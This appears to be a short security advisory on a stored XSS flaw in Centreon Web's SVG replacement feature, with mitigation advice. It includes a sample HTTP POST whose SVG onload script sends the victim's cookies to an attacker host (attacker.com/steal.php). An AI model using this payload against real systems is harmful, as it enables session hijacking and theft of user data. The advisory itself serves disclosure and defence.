How the Exploit Works
The XSS vulnerability in Centreon Web is a result of an improper neutralization of input during web page generation. This allows a user with elevated privileges to inject malicious scripts by replacing the content of an existing SVG. When these scripts are executed, they can lead to a variety of exploits, including data theft, session hijacking, or even full system compromise.
Conceptual Example Code
Below, a conceptual example of how this vulnerability could be exploited. The attacker injects malicious JavaScript into the SVG content.
POST /centreon/replaceSVG HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<svg onload="var xhr=new XMLHttpRequest();xhr.open('GET','http://attacker.com/steal.php?cookie='+document.cookie,false);xhr.send();">
In this example, the malicious script sends the user’s cookies to a server controlled by the attacker, potentially leading to session hijacking.
Mitigation
Users of Centreon Web are strongly advised to apply the vendor patch to fix the vulnerability. For the affected versions, Centreon has released patches that neutralize the vulnerability. As an interim measure, users can also use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) to mitigate the exploitation of this vulnerability. However, these should only be seen as temporary solutions until the patches can be applied.
